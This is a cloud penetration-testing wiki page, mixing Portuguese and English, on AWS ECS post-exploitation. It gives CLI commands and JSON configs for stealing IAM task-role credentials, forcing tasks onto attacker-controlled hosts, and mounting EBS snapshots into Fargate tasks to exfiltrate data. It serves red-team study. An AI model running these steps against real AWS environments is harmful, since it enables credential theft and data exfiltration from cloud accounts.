AWS - ECS Post Exploitation

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

ECS

Para mais informações, confira:

AWS - ECS Enum

Funções IAM do host

In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
Which means that if you manage to compromise an ECS instance you can potentially obtain the IAM role associated to the ECR and to the EC2 instance. Para mais info sobre como obter essas credentials confira:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc to node to steal other containers creds & secrets

But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or access the docker socket, you can check which other containers are being run, and even get inside of them and steal their IAM roles attached.

Fazer com que containers rodem no host atual

Furthermore, the EC2 instance role will usually have enough permissions to update the container instance state of the EC2 instances being used as nodes inside the cluster. An attacker could modify the state of an instance to DRAINING, then ECS will remove all the tasks from it and the ones being run as REPLICA will be run in a different instance, potentially inside the attackers instance so he can steal their IAM roles and potential sensitive info from inside the container.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

A mesma técnica pode ser feita ao desregistrar a instância EC2 do cluster. Isso é potencialmente menos discreto, mas irá forçar as tasks a serem executadas em outras instâncias:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a task or container was stopped. Existem 3 APIs potenciais para fazer isso:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Ingressar no Cluster com um Host Atacante (Register Container Instance)

Outra variante (mais direta do que draining) é adicionar capacidade que você controla ao cluster registrando uma instância EC2 como uma container instance (ecs:RegisterContainerInstance) e configurando os atributos de container instance necessários para que os placement constraints batam. Uma vez que tasks sejam executadas no seu host, você pode inspecionar/execar nos containers e coletar credenciais AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.

Veja a seção sobre ecs:RegisterContainerInstance na página de ECS privesc para o fluxo completo.

Exfiltrar informações sensíveis de contêineres ECR

A instância EC2 provavelmente também terá a permissão ecr:GetAuthorizationToken, permitindo baixar imagens (você pode procurar informações sensíveis nelas).

Roubar credenciais de Task Role via ecs:ExecuteCommand

Se ExecuteCommand estiver habilitado em uma task, um principal com ecs:ExecuteCommand + ecs:DescribeTasks pode abrir um shell dentro do container em execução e então consultar o endpoint de credenciais da task para colher as credenciais da task role:

  • De dentro do container: curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • Use o AccessKeyId/SecretAccessKey/Token retornado para chamar APIs AWS como a task role

Veja a página de ECS privilege escalation para enumeração e exemplos de comandos.

Montar um snapshot EBS diretamente em uma task ECS (configuredAtLaunch + volumeConfigurations)

Abuse da integração nativa ECS EBS (2024+) para montar o conteúdo de um snapshot EBS existente diretamente dentro de uma nova task/service ECS e ler seus dados de dentro do container.

  • Necessita (mínimo):

  • ecs:RegisterTaskDefinition

  • Um dos: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole em:

  • ECS infrastructure role usada para volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenciadas pela task definition

  • Se o snapshot estiver criptografado com um CMK: permissões KMS para a infra role (a managed policy da AWS acima inclui os grants KMS necessários para chaves gerenciadas pela AWS).

  • Impacto: Ler conteúdos arbitrários do disco a partir do snapshot (por exemplo, arquivos de banco de dados) dentro do container e exfiltrar via rede/logs.

Passos (exemplo Fargate):

  1. Crie a ECS infrastructure role (se não existir) e anexe a managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Registre uma task definition com um volume marcado configuredAtLaunch e monte-o no container. Exemplo (imprime o secret então dorme):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Crie ou atualize um serviço passando o EBS snapshot via volumeConfigurations.managedEBSVolume (requer iam:PassRole na função de infraestrutura). Exemplo:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Quando a task iniciar, o container pode ler o conteúdo do snapshot no mount path configurado (por exemplo, /loot). Exfiltrate via os network/logs da task.

Limpeza:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks